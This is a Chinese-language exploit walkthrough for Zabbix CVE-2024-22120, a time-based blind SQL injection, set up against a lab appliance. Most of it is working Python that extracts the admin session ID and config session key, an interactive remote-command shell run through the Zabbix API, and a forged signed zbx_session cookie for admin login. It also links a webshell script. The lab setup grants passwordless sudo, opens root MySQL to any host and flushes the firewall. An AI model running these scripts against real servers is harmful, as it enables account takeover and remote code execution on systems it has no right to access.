所有利用代码:
GitHub - W01fh4cker/CVE-2024-22120-RCE: Time Based SQL Injection in Zabbix Server Audit Log --> RCE
一、漏洞环境搭建
1.1 下载vmware镜像并设置
直接懒人一键搭建:
https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz
解压之后,vmware
直接打开vmx
文件,默认账号密码是root
/zabbix
。
登录之后执行命令visudo
,在底下添加一行:
zabbix ALL=(ALL) NOPASSWD:ALL
如果后续在web
界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试,反正我只加这一行就行了:
Detect operating system [zabbix] - 过去的我 - 博客园
为了方便测试,我们可以本地navicat
连接环境的mysql
数据库:
mysql -uroot SET PASSWORD = 'zabbix'; use mysql; select host, user from user; update user set host = '%' where user ='root'; FLUSH PRIVILEGES; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; exit /sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT yum install policycoreutils -y 这里也可以不用如此繁琐 直接iptables -F 清空防火墙,然后保存 service iptables save
1.2 漏洞环境设置
然后就是需要一些设置,首先需要添加一个用户,但是默认的User Role
是没有HOSTS
的查看权限的,所以需要先去开权限:
然后至少给一个读的权限,并点击Add
:
现在开始添加用户:
组就选我们刚刚设置过的Guests
:
角色选择User Role
:
需要一个低权限用户,并且该用户需要具有Detect operating system
的权限,但是这个操作默认的是没有的,只有管理员用户组才有:
需要手动设置用户组为全部或者Guests:
到这里环境搭建完成。
二、漏洞复现
2.1 验证漏洞存在并获取管理员session id和session key
漏洞作者给出的脚本如下:
https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py
他说可以延迟获取管理员的session id
,但是我本地复现的时候获取的全0
:
登录数据库发现,有多个sessionid
,需要加一个limit 1
:
因此我们可以修改代码如下:
import json import argparse from pwn import * from datetime import datetime def send_message(ip, port, sid, hostid, injection): zbx_header = "ZBXD\x01".encode() message = { "request": "command", "sid": sid, "scriptid": "3", "clientip": "' + " + injection + "+ '", "hostid": hostid } message_json = json.dumps(message) message_length = struct.pack('<q', len(message_json)) message = zbx_header + message_length + message_json.encode() #print("Sending message %s" % message) r = remote(ip, port, level='debug') r.send(message) response = r.recv(1024) r.close() print(response) def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true): session_id = "" token_length = 32 for i in range(1, token_length+1): for c in string.digits + "abcdef": print("\n(+) trying c=%s" % c, end="", flush=True) before_query = datetime.now().timestamp() query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false) send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() if time_true > (after_query-before_query) > time_false: continue else: session_id += c print("(+) session_id=%s" % session_id, end="", flush=True) break print("\n") return session_id def extract_config_session_key(ip, port, sid, hostid, time_false, time_true): token = "" token_length = 32 for i in range(1, token_length+1): for c in string.digits + "abcdef": print("\n(+) trying c=%s" % c, end="", flush=True) before_query = datetime.now().timestamp() query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false) send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() if time_true > (after_query-before_query) > time_false: continue else: token += c print("(+) session_key=%s" % token, end="", flush=True) break print("\n") return token def tiny_poc(ip, port, sid, hostid): print("(+) Running simple PoC...\n", end="", flush=True) print("(+) Sleeping for 1 sec...\n", end="", flush=True) before_query = datetime.now().timestamp() query = "(select sleep(1))" send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() print("(+) Request time: %d\n" % (after_query-before_query)) print("(+) Sleeping for 5 sec...\n", end="", flush=True) before_query = datetime.now().timestamp() query = "(select sleep(5))" send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() print("(+) Request time: %d\n" % (after_query - before_query)) print("(+) Sleeping for 10 sec...\n", end="", flush=True) before_query = datetime.now().timestamp() query = "(select sleep(10))" send_message(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() print("(+) Request time: %d\n" % (after_query - before_query)) def poc_to_check_in_zabbix_log(ip, port, sid, hostid): print("(+) Sending SQL request for MySQL version...\n", end="", flush=True) query = "(version())" send_message(ip, port, sid, hostid, query) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Command-line option parser example') parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1") parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10") parser.add_argument("--ip", help="Zabbix server IP") parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051") parser.add_argument("--sid", help="Session ID of low privileged user") parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid") parser.add_argument("--poc", action='store_true', help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server", default=False) parser.add_argument("--poc2", action='store_true', help="Use this key to simply generate error in zabbix logs, check logs later to see results", default=False) args = parser.parse_args() if args.poc: tiny_poc(args.ip, int(args.port), args.sid, args.hostid) elif args.poc2: poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid) else: print("(+) Extracting admin session_id...") admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time)) print("(+) admin session_id=%s\n" % admin_sessionid, end="", flush=True) print("(+) Extracting Zabbix config session key...\n", end="", flush=True) config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time)) print("(+) config session_key=%s\n" % config_session_key, end="", flush=True) print("(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key" % (config_session_key, admin_sessionid))
这样就可以正确获取啦:
有了这个就可以实现RCE
了,请看后文。
然后是poc2
:
python main.py --ip 192.168.198.136 --sid 4d2b6a02bfe2bc7d6fde50e8fe646621 --hostid 10084 LOG_LEVEL=error --poc2
然后查看日志:
cat /var/log/zabbix/zabbix_server.log | grep "version()"
2.2 利用获取到的管理员session id实现RCE
import requests import json ZABIX_ROOT = "http://192.168.198.136" url = ZABIX_ROOT + "/api_jsonrpc.php" host_id = "10084" session_id = "00000000000000000000000000000000" headers = { "content-type": "application/json", } auth = json.loads('{"jsonrpc": "2.0", "result": "' + session_id + '", "id": 0}') while True: cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ') if cmd == "": print("Result of last command:") elif cmd == "quit": break payload = { "jsonrpc": "2.0", "method": "script.update", "params": { "scriptid": "1", "command": "" + cmd + "" }, "auth": auth['result'], "id": 0, } cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers) payload = { "jsonrpc": "2.0", "method": "script.execute", "params": { "scriptid": "1", "hostid": "" + host_id + "" }, "auth": auth['result'], "id": 0, } cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers) cmd_exe_json = cmd_exe.json() if "error" not in cmd_exe.text: print(cmd_exe_json["result"]["value"]) else: print(cmd_exe_json["error"]["data"])
2.3 利用获取到的管理员session id和session key构造zbx_session登录管理界面
作者在报告中提了一嘴有session_id和session_key就可以得到sign值,然后就可以拼出zbx_session
:
网上也没找到相应的成品代码,那就去翻源码。
zabbix-6.0.20\ui\include\classes\core\CCookieSession.php
这里面的代码是用来处理和session
相关的操作的,代码也是写的通俗易懂:
就是做一个SHA256
的hash
操作,那感情好啊,直接写出php
形式的poc
:
<?php function sign(string $data): string { $key = "927f855d3388d6daedb153d3de864970"; return hash_hmac("sha256", $data, $key); } function prepareData(array $data): string { $data['sign'] = sign(json_encode($data)); return base64_encode(json_encode($data)); } function set(string $key, $value):array { $_SESSION[$key] = $value; return $_SESSION; } set("sessionid", "be52fe697c5935099d441f03c5c68bff"); set("serverCheckResult", true); $session_ = set("serverCheckTime", time()); $res = prepareData($session_); echo $res; ?>
改成python
代码的时候需要注意字典的item
的位置问题,示例代码如下:
def GenerateAdminSession(sessionid, session_key): def sign(data: str) -> str: key = session_key.encode() return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest() def prepare_data(data: dict) -> str: sorted_data = OrderedDict(data.items()) sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':'))) return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8') session = { "sessionid": sessionid, "serverCheckResult": True, "serverCheckTime": int(time.time()) } res = prepare_data(session) return res
完整的代码:
import hmac import json import argparse import requests from pwn import * from datetime import datetime def SendMessage(ip, port, sid, hostid, injection): context.log_level = "CRITICAL" zbx_header = "ZBXD\x01".encode() message = { "request": "command", "sid": sid, "scriptid": "1", "clientip": "' + " + injection + "+ '", "hostid": hostid } message_json = json.dumps(message) message_length = struct.pack('<q', len(message_json)) message = zbx_header + message_length + message_json.encode() r = remote(ip, port, level="CRITICAL") r.send(message) r.recv(1024) r.close() def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true): token = "" token_length = 32 for i in range(1, token_length+1): for c in string.digits + "abcdef": before_query = datetime.now().timestamp() query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false) SendMessage(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() if time_true > (after_query-before_query) > time_false: continue else: token += c print("(+) session_key=%s" % token, flush=True) break return token def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true): session_id = "" token_length = 32 for i in range(1, token_length+1): for c in string.digits + "abcdef": before_query = datetime.now().timestamp() query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false) SendMessage(ip, port, sid, hostid, query) after_query = datetime.now().timestamp() if time_true > (after_query-before_query) > time_false: continue else: session_id += c print("(+) session_id=%s" % session_id, flush=True) break return session_id def GenerateAdminSession(sessionid, session_key): def sign(data: str) -> str: key = session_key.encode() return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest() def prepare_data(data: dict) -> str: sorted_data = OrderedDict(data.items()) sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':'))) return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8') session = { "sessionid": sessionid, "serverCheckResult": True, "serverCheckTime": int(time.time()) } res = prepare_data(session) return res def CheckAdminSession(ip, admin_session): proxy = { "https": "http://127.0.0.1:8083", "http": "http://127.0.0.1:8083" } url = f"http://{ip}/zabbix.php?action=dashboard.view" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Cookie": f"zbx_session={admin_session}" } resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy) if "Administration" in resp.text and resp.status_code == 200: return admin_session else: return None if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin") parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1") parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10") parser.add_argument("--ip", help="Zabbix server IP") parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051") parser.add_argument("--sid", help="Session ID of low privileged user") parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid") args = parser.parse_args() admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time)) session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time)) admin_session = GenerateAdminSession(admin_sessionid, session_key) res = CheckAdminSession(args.ip, admin_session) if res is not None: print(f"try replace cookie with:\nzbx_session={res}") else: print("failed")
完整的演示效果如下:
可以看到这里是用户vulntest
的界面:
然后运行拿到session
:
替换cookie
中对应的参数,然后刷新:
即可看到是Zabbix Administrator
了,实现了从用户界面到管理界面的转换:
2.4 写Webshell
没有花时间研究其他办法了,因为运行用户是zabbix
,等级太低了,所以默认情况下是没权限去echo
写马的,但是我还是把对应的脚本传上去了:
CVE-2024-22120-RCE/CVE-2024-22120-Webshell.py at main · W01fh4cker/CVE-2024-22120-RCE · GitHub
网上对于这方面的研究不多,看到一篇灼剑安全团队的N0r4h
师傅写的文章:
实战-艰难的一次zabbix getshell
他也提到了无法直接echo
写马,但是他当时遇到的环境是存在pkexec
的,所以有了后续的利用。
但是默认肯定是没有的: